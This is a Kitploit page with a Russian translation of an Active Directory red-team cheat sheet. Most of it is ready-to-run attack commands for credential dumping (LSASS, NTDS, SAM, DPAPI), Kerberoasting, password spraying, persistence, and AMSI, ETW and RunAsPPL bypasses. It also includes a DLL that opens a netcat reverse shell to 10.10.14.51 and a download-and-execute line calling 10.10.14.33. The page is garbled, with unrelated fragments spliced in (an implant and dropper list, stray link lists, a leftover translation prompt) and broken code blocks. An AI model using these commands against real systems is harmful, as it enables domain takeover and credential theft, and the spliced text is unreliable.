Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Awesome-RedTeam-Cheatsheet — Шпаргалка Red Team в постоянном расширении. | Kitploit
Инструменты/GitHubGitHub/ristbs/awesome-redteam-cheatsheet
Повышение привилегийМеханизмы персистентностиЛатеральное перемещениеТестирование на ПроникновениеОбучение и ОбразованиеRed TeamingПодобранные Ресурсы
GitHubristbs/awesome-redteam-cheatsheet

Awesome-RedTeam-Cheatsheet

Шпаргалка Red Team в постоянном расширении.

Репозиторий
1.3k1673 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

image


Техники Red Team

  • Техники начального доступа (скоро)
  • Техники выполнения кода (скоро)
  • Техники латерального перемещения (скоро)
  • Техники обхода защиты (скоро)
  • Техники закрепления (скоро)
  • Техники повышения привилегий (скоро)
  • Техники дампа учётных данных (скоро)
  • Техники пивотинга (скоро)

Протоколы и терминология Windows

  • Руководство по протоколам и терминологии Windows (скоро)

Разное

  • Руководство по OPSEC
  • Разработка вредоносного ПО
  • Атаки на AD Azure Cloud (скоро)

Поддержка

Вы можете поддержать меня 🐱 :

Шпаргалка по Active Directory

Эта шпаргалка по атакам на AD, созданная RistBS, вдохновлена репозиторием Active-Directory-Exploitation-Cheat-Sheet.

Содержание

  • Шпаргалка по эксплуатации AD от RistBS
    • Содержание
    • Инструменты
    • Компоненты PowerShell
      • Трюки PowerShell
      • Злоупотребление PSWA
    • Разведка
      • Разведка GPO
      • Разведка ACL и ACE
      • RID Cycling
    • Повышение привилегий
      • Имитация токенов
      • Kerberoasting
      • ASREPRoasting
      • DNSAdmin
    • Латеральное перемещение
      • WMIExec
    • Дамп учётных данных
      • Дамп LSASS
      • Дамп NTDS
      • Злоупотребление DPAPI
      • Дамп LSA
      • Дамп SAM
      • Удалённый и прямой дамп реестра
      • Чтение паролей GMSA
    • Взлом хешей
    • Брутфорс паролей AD
      • Пользовательские списки имён и паролей
    • Пивотинг
      • SMB-каналы
      • SharpSocks
      • Туннелирование RDP через DVC
    • Закрепление
      • Внедрение SIDHistory
      • AdminSDHolder и SDProp
    • Злоупотребление ACL и ACE
      • GenericAll
    • Обход усиленной безопасности
      • Интерфейс защиты от вредоносного ПО

Инструменты

Инструменты PowerShell:

  • [⭐] Nishang -> https://github.com/samratashok/nishang

Nishang содержит множество полезных скриптов для тестирования Windows в среде PowerShell.

  • [⭐] PowerView -> https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

PowerView — это скрипт из набора PowerSploit, который позволяет проводить разведку архитектуры AD для возможного латерального перемещения.

Инструменты разведки:

  • [⭐] Bloodhound -> https://github.com/BloodHoundAD/BloodHound
  • [⭐] crackmapexec -> https://github.com/byt3bl33d3r/CrackMapExe

Набор инструментов для эксплуатации AD:

  • [⭐] Impacket -> https://github.com/SecureAuthCorp/impacket
  • [⭐] kekeo -> https://github.com/gentilkiwi/kekeo

Инструменты для дампа:

  • [⭐] mimikatz -> https://github.com/gentilkiwi/mimikatz
  • [⭐] rubeus -> https://github.com/GhostPack/Rubeus

Инструмент для прослушивания:

  • [⭐] responder -> https://github.com/SpiderLabs/Responder

Компоненты PowerShell

Трюки PowerShell

PS-Session:```powershell #METHOD 1 $c = New-PSSession -ComputerName 10.10.13.100 -Authentication Negociate -Credential $user Enter-PSSession -Credential $c -ComputerName 10.10.13.100

METHOD 2

$pass = ConvertTo-SecureString 'Ab!Q@aker1' -asplaintext -force $cred = New-Object System.Management.Automation.PSCredential('$user, $pass') Enter-PSSession -Credential $c -ComputerName 10.10.13.100

root@kitploit:~
### PSWA Злоупотребление

позволяет любому, у кого есть учетные данные, подключаться к любой машине и любой конфигурации

**[ ! ] это действие требует учетных данных.**```powershell
Add-PswaAuthorizationRule -UsernName * -ComputerName * -ConfigurationName *

Разведка

Найти пользователя с SPN

с помощью PowerView :```powershell Get-NetUser –SPN

root@kitploit:~
> с помощью [AD Module](https://docs.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps) :```powershell
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

Перечисление доверий

MapTrust :```powershell Invoke-MapDomainTrust

root@kitploit:~
**Доверительные отношения домена для текущего домена :**

> с помощью [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) :```powershell
Get-NetDomainTrust #Find potential external trust
Get-NetDomainTrust –Domain $domain

с использованием AD Module :```powershell Get-ADTrust Get-ADTrust –Identity $domain

root@kitploit:~
### Обследование леса

**Подробности о текущем лесе :**```powershell
Get-NetForest
Get-NetForest –Forest $forest
Get-ADForest
Get-ADForest –Identity $domain

GPO перечисление

Список GPO```powershell Get-NetGPO Get-NetGPO -ComputerName $computer Get-GPO -All Get-GPResultantSetOfPolicy -ReportType Html -Path C:\Users\Administrator\report.html

root@kitploit:~
### Перечисление ACL и ACE

**Перечисление всех ACE**```powershell
 Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID
$_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq
$("$env:UserDomain\$env:Username")) {$_}}

Перечисление пользователей и разрешений```powershell

Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUsers"}

root@kitploit:~
*Проверить, есть ли у пользователя SPN :*
> используя [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) :```powershell
Get-DomainUser -Identity supportuser | select serviceprincipalname

используя AD Module :```powershell Get-ADUser -Identity supportuser -Properties ServicePrincipalName | select ServicePrincipalName

root@kitploit:~
### LDAP Перечисление```powershell
ldapsearch -x -h 10.10.10.x -p 389 -s base namingcontexts
ldapsearch -h 10.10.10.x -p 389 -x -b "dc=boxname,dc=local"

найти учетные записи служб```powershell ldapsearch -h 10.10.10.161 -p 389 -x -b "dc=box,dc=local" | grep "service"

root@kitploit:~
*Перечисление с помощью ldapsearch в качестве аутентифицированного пользователя*```powershell
ldapsearch -x -h ldap.megacorp.corp -w '$pass'
ldapsearch -x -h 10.10.131.164 -p 389 -b "dc=megacorp,dc=corp" -D '[email protected]' -w 'vs2k6!'
ldapsearch -D "cn=binduser,ou=users,dc=megacorp,dc=corp" -w 'J~42%W?]g' -s base namingcontexts
ldapsearch -D "cn=binduser,ou=users,dc=megacorp,dc=corp" -w 'J~42%W?]g' -b 'dc=megacorp'

Перечисление с помощью ldapdomaindump (аутентифицированный) с удобным выводом``` ldapdomaindump 10.10.197.117 -u 'megacorp.corp\john' -p '$pass' --no-json --no-grep

root@kitploit:~
*Перечисление с помощью скриптов nmap*```bash
nmap -p 389 --script ldap-search 10.10.10.x
nmap -n -sV --script "ldap*" -p 389 10.10.10.x
nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='MEGACORP.CORP',userdb=/usr/share/wordlists/seclists/Usernames/Names/names.txt 10.10.13.100

SMB Перечисление

перечисление с помощью crackmapexec без аутентификации```bash crackmapexec smb 10.10.10.x --pass-pol -u '' -p ''

root@kitploit:~
*разведка с crackmapexec (аутентифицированный)*```powershell
crackmapexec smb 10.10.11.129 --pass-pol -u usernames.txt -p $pass --continue-on-sucess
crackmapexec smb 10.10.11.129 --pass-pol -u xlsx_users -p $pass --continue-on-sucess

перечисление с помощью kerbrute против брутфорса pre-auth Kerberos:```bash /opt/kerbrute/dist/kerbrute_linux_amd64 userenum -d megacorp.local --dc 10.10.13.100 -o kerbrute.out users.txt /opt/kerbrute/dist/kerbrute_linux_amd64 userenum -d megacorp.htb --dc 10.10.13.100 -o kerbrute.out users.lst --downgrade

root@kitploit:~
> по умолчанию kerbrute использует самый безопасный режим (18 = sha1) для получения некоторого хеша. Используя опцию понижения версии, мы можем получить устаревшую версию типа шифрования (23 = rc4hmac). Или вместо этого используйте getNPusers для получения хеша, это безопаснее!

*предоставьте пароль или список паролей для проверки пользователей*```bash
crackmapexec smb 10.10.13.100 --pass-pol -u users.lst -p password_list

Перечислить некоторых пользователей```bash crackmapexec smb 10.10.13.100 -u users.txt -p $pass --users | tee userlist.txt

root@kitploit:~
### Распыление паролей на домене```bash
/opt/kerbrute/dist/kerbrute_linux_amd64 passwordspray -d MEGACORP.CORP --dc 10.10.13.100 users.lst '$pass'

Дамп домена, групп и пользователей с помощью Bloodhound-Python:```bash bloodhound-python -c all -u $user -p $password -d $domain -dc $dc_domain -ns $ip --disable-pooling -w1 --dns-timeout 30

root@kitploit:~
Настройка Bloodhound:```bash
sudo neo4j console
sudo bloodhound

RID Cycling

Глобальная структура :``` S-1-5-21-40646273370-24341400410-2375368561-1036

root@kitploit:~
- `S-1-5-21`: **S означает SID (идентификатор безопасности)**
- `40646273370-24341400410-2375368561`: **Идентификатор домена или локального компьютера**
- `1036`: **RID (относительный идентификатор)**

*Структура SID пользователя :*
- `S-1-5-21-40646273370-24341400410-2375368561`: **SID домена**
- `1036`: **RID пользователя**

> используя [Crackmapexec](https://github.com/byt3bl33d3r/CrackMapExec) :```bash
cme smb $target -u $username -p $password --rid-brute

используя lookupsid :```bash lookupsid.py MEGACORP/$user:'$password'@$target 20000

root@kitploit:~
Значение "20000" в lookupsid указывает, сколько RID будет проверено


## Повышение привилегий

### Имитация токена

> Техника имитации токена позволяет выдать себя за пользователя, украв его токен. Этот токен позволяет использовать данную технику благодаря процессам SSO, интерактивному входу в систему, запущенным процессам...

> с помощью [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) :

*list tokens*```powershell
# Show all tokens
Invoke-TokenManipulation -ShowAll
# show usable tokens
Invoke-TokenManipulation -Enumerate

Запустить новый процесс с токеном пользователя```powershell Invoke-TokenManipulation -ImpersonateUser -Username "domain\user"

root@kitploit:~
*манипуляция токенами процесса*```powershell
Invoke-TokenManipulation -CreateProcess "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe -ProcessId $id

используя Incognito :

загрузить incognito и перечислить токены :```bash meterpreter > use incognito meterpreter > list_tokens -g

root@kitploit:~
*токен олицетворения "NT AUTHORITY\SYSTEM" :*```powershell
meterpreter > getuid
Server username: job\john
meterpreter > impersonate_token "BUILTIN\Administrators"
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Kerberoasting

Перечислить пользователей, уязвимых для Kerberoasting```powershell Get-DomainUser -SPN | select name,serviceprincipalname

root@kitploit:~
> используя [impacket](https://github.com/SecureAuthCorp/impacket) :```powershell
GetUserSPNs.py -outputfile kerberoastables.txt -dc-ip $KeyDistributionCenter 'DOMAIN/USER:Password'

с помощью crackmapexec```powershell crackmapexec ldap $target -u $user -p $password --kerberoasting kerberoastable.txt --kdcHost $kdc

root@kitploit:~
*взломать хэш :*```bash
# using JTR :
john --format=krb5tgs spn.txt --wordlist=wordlist.txt
# using hashcat :
hashcat -m 13100 -a 0 spn.txt wordlist.txt --force

ASREPRoasting

Enumerate asreproastable user```powershell Get-DomainUser -PreauthNotRequired | select name

root@kitploit:~
- **Razer** - Аппаратный дизайн для беспроводного импланта на базе RP235x, подключаемого через скрытый USB-C кабель.
  - **Facet** - Аппаратный дизайн для проводного импланта на базе RP235x, подключаемого через USB-C.
  - **Mouthy** - Аппаратный дизайн для сквозного USB-C импланта на базе RP235x, действующего как устройство-посредник.
  - **NimBLE-BTHost** - RX/Bluetooth Hydrofirmware на основе открытого стека NimBLE, разработанная для работы канала C2 с точным управлением.

## Стейджеры/Дропперы

- **Shard** - Стейджер на Python, который может загружать указанную вторую стадию через HTTPS-канал C2, выполнять её и очищать после себя.
- **Badger** - Высокополиморфный дроппер, написанный на Rust и скомпилированный в бинарный файл с позиционно-независимым кодом (PIC), который загружает указанную вторую стадию через HTTPS-канал C2 и запускает её.```powershell
GetNPUsers.py -format hashcat -outputfile ASREProastables.txt -dc-ip $kdc '$domain/$user:$password' -request

взлом хэша :

hashcat -m 18200 -a 0 hash wordlist.txt --force

DNSAdmin

Перечислить пользователей в этой группе :```powershell

METHOD 1

Get-NetGroupMember -GroupName "DNSAdmins"

METHOD 2

Get-ADGroupMember -Identity DNSAdmins

root@kitploit:~
*Эта атака заключается во внедрении вредоносной произвольной DLL и перезапуске службы dns.exe,
так как DC выступает в качестве DNS-службы, мы можем повысить наши привилегии до DA.*

> DLL файл :```c
#include "stdafx.h"
#include <stdlib.h>

BOOL APIENTRY DllMain(HMODULE hModule,
	DWORD  ul_reason_for_call,
	LPVOID lpReserved
)
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		system("c:\\windows\\system32\\spool\\drivers\\color\\nc.exe -e cmd.exe 10.10.14.51 5555");
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

вы также можете создать файл dll с помощью msfvenom: msfvenom -p windows/x64/exec cmd='net user administrator aked /domain' - f dll > evil.dll он выполнит net user administrator aked /domain с привилегиями SYSTEM

укажите путь к удаленному DLL в реестре Windows```powershell dnscmd dc01 /config /serverlevelplugindll \10.10.14.33\share\evil.dll

root@kitploit:~
`\\10.10.14.33\share\evil.dll` : SMB-ресурс.

**перезапустить службу DNS**```powershell
sc.exe stop dns
sc.exe start dns

Латеральное перемещение

WMIExec

использует аутентификацию kerberos```powershell impacket-wmiexec -k -no-pass [email protected]

root@kitploit:~
## Извлечение учетных данных

### Извлечение LSASS```powershell
cme <protocol> <ip> -u <user> -p <pass> -M lsassy
  • https://github.com/Hackndo/lsassy```powershell procdump --accepteula -ma lsass lsass.dmp
root@kitploit:~
- [timeouted/tyre](#TIME--OUT-tyre)
    - [timeouted/tbauth](#TIME--OUT-tbauth)
    - [timeouted/tbm](#TIME--OUT-tbm)
    - [timeouted/tbnotifs](#TIME--OUT-tbnotifs)
    - [technowlogy/osticket](#technowlogy-osticket)
    - [technowlogy/servicenow](#technowlogy-servicenow)
    - [technowlogy/wordpress](#technowlogy-wordpress)
    - [technowlogy/php](#technowlogy-php)
    - [technowlogy/python](#technowlogy-python)
    - [technowlogy/javascript](#technowlogy-javascript)
    - [technowlogy/selenium](#technowlogy-selenium)```powershell
smbclient.py MEGACORP.LOCAL/[email protected]
# use C$
# cd Windows\Temp
# put procdump.exe

ПРИМЕЧАНИЕ ⚠️ ПРЕДУПРЕЖДЕНИЕ: Это экспериментальная реализация```powershell psexec.py MEGACORP.LOCAL/[email protected] "C:\Windows\Temp\procdump.exe -accepteula -ma lsass C:\Windows\Temp\lsass.dmp"

root@kitploit:~
```powershell
smbclient.py MEGACORP.LOCAL/[email protected]
# get lsass.dmp

парсить учётные данные с помощью mimikatz```powershell sekurlsa::minidump lsass.dmp sekurlsa::logonpasswords

root@kitploit:~
Вы можете сделать это локально с помощью mimikatz, используя: `sekurlsa::logonpasswords`.


### Дамп NTDS

**Злоупотребление DRSUAPI для дампа NTDS**```powershell
crackmapexec smb 10.10.13.100 -u 'Administrator' -p $password --ntds drsuapi

Злоупотребление VSS для дампинга NTDS

с помощью Crackmapexec :```powershell crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --ntds vss

root@kitploit:~
*вы можете сделать это вручную тоже.*```powershell
vssadmin create shadow /for=C:
copy $ShadowCopyName\Windows\NTDS\NTDS.dit C:\Windows\Temp\ntds.dit.save
vssadmin delete shadows /shadow=$ShadowCopyId

Злоупотребление DPAPI

dump DPAPI BK```bash dpapi.py backupkeys -t $domain/$user:$password@$target

root@kitploit:~
> Расшифровать DPAPI MK```bash
# Decrypt DPAPI MK using BK
dpapi.py masterkey -file "/path/to/masterkey" -pvk "/path/to/backup_key.pvk"
# Decrypt DPAPI MK using MK password and user SID
dpapi.py masterkey -file "/path/to/masterkey" -sid $USER_SID -password $mk_password

расшифровка защищенного файла с помощью MK```bash dpapi.py credential -file "/path/to/protected_file" -key $MASTERKEY

root@kitploit:~
*crack DPAPI master key with JTR*```bash
python DPAPImk2john.py --sid="$SID" --masterkey="$MASTER_KEY" --context="local"
john dpapimk.dmp --wordlist=/usr/share/wordlists/rockyou.txt --rules=custom.rule

Дамп LSA

вы можете использовать mimikatz с этой командой: lsadump::secrets

Дамп SAM

сохраните куст SYSTEM и SAM в другую директорию```powershell reg save HKLM\SAM c:\path\to\SAM reg save HKLM\SYSTEM c:\path\to\SYSTEM

root@kitploit:~
Please provide the Markdown content to translate.```powershell
lsadump::sam /system:c:\path\to\SYSTEM /sam:c:c:\path\to\SAM

или просто используйте : lsadump::sam

[ 📝 ] Notes : вы можете сдампить SAM и LSA с помощью crackmapexec или secretdump, используя эти команды:```bash secretsdump.py 'DOMAIN/USER:PASSWORD@TARGET'

root@kitploit:~
```bash
crackmapexec smb $ip -d $domain -u $user -p $password --sam/--lsa

Сброс реестра удалённо и напрямую

[ ❓ ] Что такое реестр? : Реестр разделён на несколько разделов, называемых кустами. Куст реестра — это корневой ключ реестра верхнего уровня, предопределённый системой Windows для хранения ключей реестра для определённых целей. Каждый куст реестра имеет определённые цели, существует 6 кустов реестра: HKCU, HKLM, HKCR, HKU, HKCC и HKPD. Наиболее интересными кустами реестра в пентестинге являются HKU и HKLM.

HKEY_LOCAL_MACHINE называется HKLM и включает три ключа: SAM, SYSTEM и SECURITY.

сброс SYSTEM и SECURITY удалённо из HKLM :```bash secretsdump.py local -system SYSTEM -security SECURITY -ntds ntds.dit -outputfile hashes

root@kitploit:~
> дамп реестра HKU удаленно с аргументом hashes :```bash
impacket-reg -hashes :34ed87d42adaa3ca4f5db34a876cb3ab domain.local/john.doe@job query -keyName HKU\\Software

HKU\Software
HKU\Software\GiganticHostingManagementSystem
HKU\Software\Microsoft
HKU\Software\Policies
HKU\Software\RegisteredApplications
HKU\Software\Sysinternals
HKU\Software\VMware, Inc.
HKU\Software\Wow6432Node
HKU\Software\Classes

Чтение пароля GMSA```powershell

$user = 'USER' $gmsa = Get-ADServiceAccount -Identity $user -Properties 'msDS-ManagedPassword' $blob = $gmsa.'msDS-ManagedPassword' $mp = ConvertFrom-ADManagedPasswordBlob $blob $cred = New-Object System.Management.Automation.PSCredential $user, $mp.SecureCurrentPassword

root@kitploit:~
*gMSA дамп:*```bash
python3 gMSADumper.py -u $user -p $password -d $domain.local
```
## Взлом хэшей

> LM :```bash
# using JTR :
john --format=lm hash.txt
# using hashcat :
hashcat -m 3000 -a 3 hash.txt
```
> Примечание :```bash
# using JTR :
john --format=nt hash.txt --wordlist=wordlist.txt
# using hashcat :
hashcat -m 1000 -a 3 hash.txt
```
> NTLMv1 :```bash
# using JTR :
john --format=netntlmv1 hash.txt
# using hashcat :
hashcat -m 5500 --force -a 0 hash.txt wordlist.txt
```
> NTLMv2 :```bash
# using JTR :
john --format=netntlmv2 hash.txt
# using hashcat :
hashcat -m 5600 --force -a 0 hash.txt wordlist.txt
```
заметка : некоторые типы хэшей в hashcat зависят от **etype**

## Брутфорс пароля AD

### Пользовательский список имен пользователей и паролей

список паролей по умолчанию (pwd_list) :
`
Autumn
Spring
Winter
Summer
````bash
for i in $(cat pwd_list); do echo $i, echo ${i}\!; echo ${i}2019; echo ${i}2020 ;done > pwds
haschat --force --stdout pwds -r /usr/share/hashcat/rules/base64.rule
haschat --force --stdout pwds -r /usr/share/hashcat/rules/base64.rule -r /usr/share/hashcat/rules/toogles1.r | sort u
haschat --force --stdout pwds -r /usr/share/hashcat/rules/base64.rule -r /usr/share/hashcat/rules/toogles1.r | sort u | awk 'length($0) > 7' > pwlist.txt
```
список имен пользователей по умолчанию (users.list) :```
john doe
paul smith
jacaques miller
```
создавайте собственные имена пользователей с помощью username-anarchy :```bash
./username-anarchy --input-file users.list --select-format first,first.last,f.last,flast > users2.list
```
## Пивотинг

**Пивотинг с WDFW через пользовательские правила**```powershell
netsh interface portproxy add v4tov4 listenaddress=LOCAL_ADDRESS listenport=LOCALPORT connectaddress=REMOTE_ADDRESS connectport=REMOTE_PORT protocol=tcp
```
*разрешить соединения с локальным портом*```powershell
netsh advfirewall firewall add rule name="pivot like a pro" protocol=TCP dir=in localip=LOCAL_ADDRESS localport=LOCAL_PORT action=allow
```
### SMB Pipes

**Локальные/удаленные порты могут быть перенаправлены** с помощью **SMB-каналов**. Для этого можно использовать [Invoke-Piper](https://github.com/p3nt4/Invoke-Piper) или [Invoke-SocksProxy](https://github.com/p3nt4/Invoke-SocksProxy).
- `Invoke-Piper` : *используется для перенаправления локальных или удаленных портов*
- `Invoke-SocksProxy` : *используется для динамического перенаправления портов*

**Случай 1** *Перенаправление локального порта через канал для Pivot: `-L 33389:127.0.0.1:3389`*

> СТОРОНА СЕРВЕРА :```powershell
Invoke-PiperServer -bindPipe forPivot -destHost 127.0.0.1 -destPort 3389
```
> КЛИЕНТСКАЯ СТОРОНА :```powershell
Invoke-PiperClient -destPipe forPivot -pipeHost $server_ip -bindPort 33389
```
**Случай 2** *Только для администратора удаленное перенаправление портов через pipe для forPivot: `-R 33389:127.0.0.1:3389`*

> СТОРОНА СЕРВЕРА :```powershell
Invoke-PiperServer -remote -bindPipe forPivot -bindPort 33389 -security Administrators
```
> КЛИЕНТСКАЯ СТОРОНА :```powershell
Invoke-PiperClient -remote -destPipe forPivot -pipeHost $server_ip -destHost 127.0.0.1 -destPort 3389
```
**Случай 3** *Динамическое перенаправление портов с помощью Invoke-SocksProxy с forPivot в качестве NamedPipe: `-D 3333`*

> СТОРОНА СЕРВЕРА :```powershell
Invoke-SocksProxy -bindPort 3333
Invoke-PiperServer -bindPipe forPivot -destHost 127.0.0.1 -destPort 3333
```
> СТОРОНА КЛИЕНТА :```powershell
Invoke-PiperClient -destPipe forPivot -pipeHost $server_ip -bindPort 3333
```
### SharpSocks

**SharpSocks в основном используется в C2-фреймворках и работает с C2-имплантами**

*сборка сервера:*```powershell
PS> .\SharpSocksServer.exe --cmd-id=$id --http-server-uri=$uri --encryption-key=$key -v
```
### Туннелирование RDP через DVC

*общие диски:*```powershell
PS > regsvr32 UDVC-Plugin.dll
PS > subst.exe x: C:\Users\john\RDP_Tools
```
*отобразить диски:*```powershell
PS > net use x: \\TSCLIENT\X
```
Создайте сервер с SSFD.exe```powershell
PS > ssfd.exe -p 8080
```
*Перенаправление порта SSF с сервером DVC:*```powershell
PS > ./UDVC-Server.exe -c -p 8080 -i 127.0.0.1

[*] Setting up client socket
[*] Connected to: 127.0.0.1:8080
[*] Starting thread RsWc
[*] Starting thread RcWs
[*] Wait for threads to exit...
```
*SSFD в качестве SOCK-прокси*```powershell
PS > ssf.exe -D 9090 -p 31337 127.0.0.1
```
## Постоянство

### SIDHistory Injection

### AdminSDHolder и SDProp

> [ ❓ ] : С правами DA (полный контроль/права на запись) на объекте AdminSDHolder его можно использовать как механизм бэкдора/постоянства, добавив пользователя с полными правами (или другими интересными разрешениями) в объект AdminSDHolder.
Через 60 минут (когда выполняется SDPROP) пользователь будет добавлен с полным контролем в AC групп, таких как Domain Admins, фактически не являясь их членом.

> используя [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) :```powershell
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName $user -Rights All -Verbose
```
> используя [AD Module](https://docs.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps) :```powershell
Set-ADACL -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=megacorp,DC=megacorp,DC=local' -Principal $user -Verbose
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName $user -Rights ResetPassword -Verbose
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName $user -Rights WriteMembers -Verbose
```
*Запустите SDProp вручную*```powershell
Invoke-SDPropagator -timeoutMinutes 1 -showProgress -Verbose
```
## Злоупотребление ACL и ACE

### GenericAll

**перечислить все группы, к которым принадлежит пользователь и на которые у него есть явные права доступа**```powershell
Get-DomainGroup | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID
$_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}
```
данных. Параметр `agent_id` в теле запроса определяет, какому агенту отправить задачу.```powershell
net group Administrator aker /add /domain
```
## Улучшенный обход безопасности

### Интерфейс сканирования на вредоносное ПО```powershell
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE](https://github.com/ristbs/awesome-redteam-cheatsheet/blob/HEAD/%22%7B1%7D%7B0%7D%22-F%27F%27,%27rE%27) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
```
патчинг AMSI из Powershell6 :```powershell
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('s_amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```
### ConstrainLanguageMode

Обход CLM с помощью **runspace**:```cs
static void Main(string[] args){
    Runspace run = RunspaceFactory.CreateRunspace();
    run.Open();

    PowerShell shell = PowerShell.Create();
    shell.Runspace = run;

    String cmd = "iex(new-object net.webclient).DownloadString('http://10.10.14.33/script')";
    shell.AddScript(cmd);
    shell.Invoke();
    run.Close();
}
```
### Just Enough Administration

> показать текущий уровень языков :```powershell
# METHOD 1
(Get-PSSessionConfiguration -Name Test).LanguageMode
# METHOD 2
$ExecutionContext.SessionState.LanguageMode # use property
```
> Обход JEA в ConstrainedLanguage :```powershell
{ C:\Windows\System32\spool\drivers\color\nc.exe -e powershell.exe 10.10.14.33 9003 }
```
### ExecutionPolicy```powershell
powershell -ExecutionPolicy Bypass -File C:\script.ps1
```
> обход EP с помощью кодирования :```powershell
$command = "Write-Host 'hello world'"; $bytes = [System.Text.Encoding]::Unicode.GetBytes($command);$encoded = [Convert]::ToBase64String($bytes); powershell.exe -EncodedCommand $encoded
```
### RunAsPPL для дампа учетных данных

[ ❓ ] : [RunAsPPL](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection) является **дополнительной защитой LSA** для предотвращения чтения памяти и внедрения кода **незащищенными процессами**.

> обход RunAsPPL с помощью mimikatz :```
mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # misc::skeleton
mimikatz # !-
```
### Отключение ETW```powershell
[Reflection.Assembly]:https://raw.githubusercontent.com/ristbs/awesome-redteam-cheatsheet/HEAD/:LoadWithPartialName(%27System.Core%27).GetType(%27System.Diagnostics.Eventing.EventProvider%27).GetField(%27m_enabled%27,%27NonPublic,Instance%27).SetValue(%5BRef%5D.Assembly.GetType(%27System.Management.Automation.Tracing.PSEtwLogProvider%27).GetField(%27etwProvider%27,%27NonPublic,Static%27).GetValue($null),0)
```
you can try obfuscation techniques on this command. To learn more about ETW see my course [here](https://github.com/RistBS/Active-directory-Cheat-sheet/blob/exploit-development/FR%20-%20ETW%20Bypassing.md)


## MS Exchange

### OWA EWS и EAS Password Spraying

> с помощью [MailSniper](https://github.com/dafthack/MailSniper/blob/master/MailSniper.ps1) :```powershell
# OWA (Outlook web App)
Invoke-PasswordSprayOWA -ExchHostname $domain -UserList .\users.txt -Password $password
# EAS (Exchange ActivSync)
Invoke-PasswordSprayEAS -ExchHostname $domain -UserList .\users.txt -Password $password
# EWS (Exchange Web Service)
Invoke-PasswordSprayEWS -ExchHostname $domain -UserList .\users.txt -Password $password
```
> с помощью [ruler](https://github.com/sensepost/ruler) :```bash
./ruler -domain $domain --insecure brute --userpass $userpass.txt -v
```
### Извлечение GAL и OAB

**Извлечение GAL (глобальной адресной книги)**```powershell
./ruler -k -d $domain -u $user -p $password -e [email protected] --verbose abk dump -o email_list.txt
```
> с помощью powershell :```powershell
PS C:\> Get-GlobalAddressList -ExchHostname mx.megacorp.com -UserName $domain\$user -Password $password -OutFile email_list.txt
```
**OAB (Автономная адресная книга) Извлечение**

*извлечение файла OAB.XML, содержащего записи*```bash
curl -k --ntlm -u '$domain\$user:$password' https://$domain/OAB/$OABUrl/oab.xml > oab.xml

cat oab.xml |grep '.lzx' |grep data
```
*извлечь сжатый LZX файл*```bash
curl -k --ntlm -u '$domain\$user:$password' https://$domain/OAB/$OABUrl/$OABId-data-1.lzx > oab.lzx

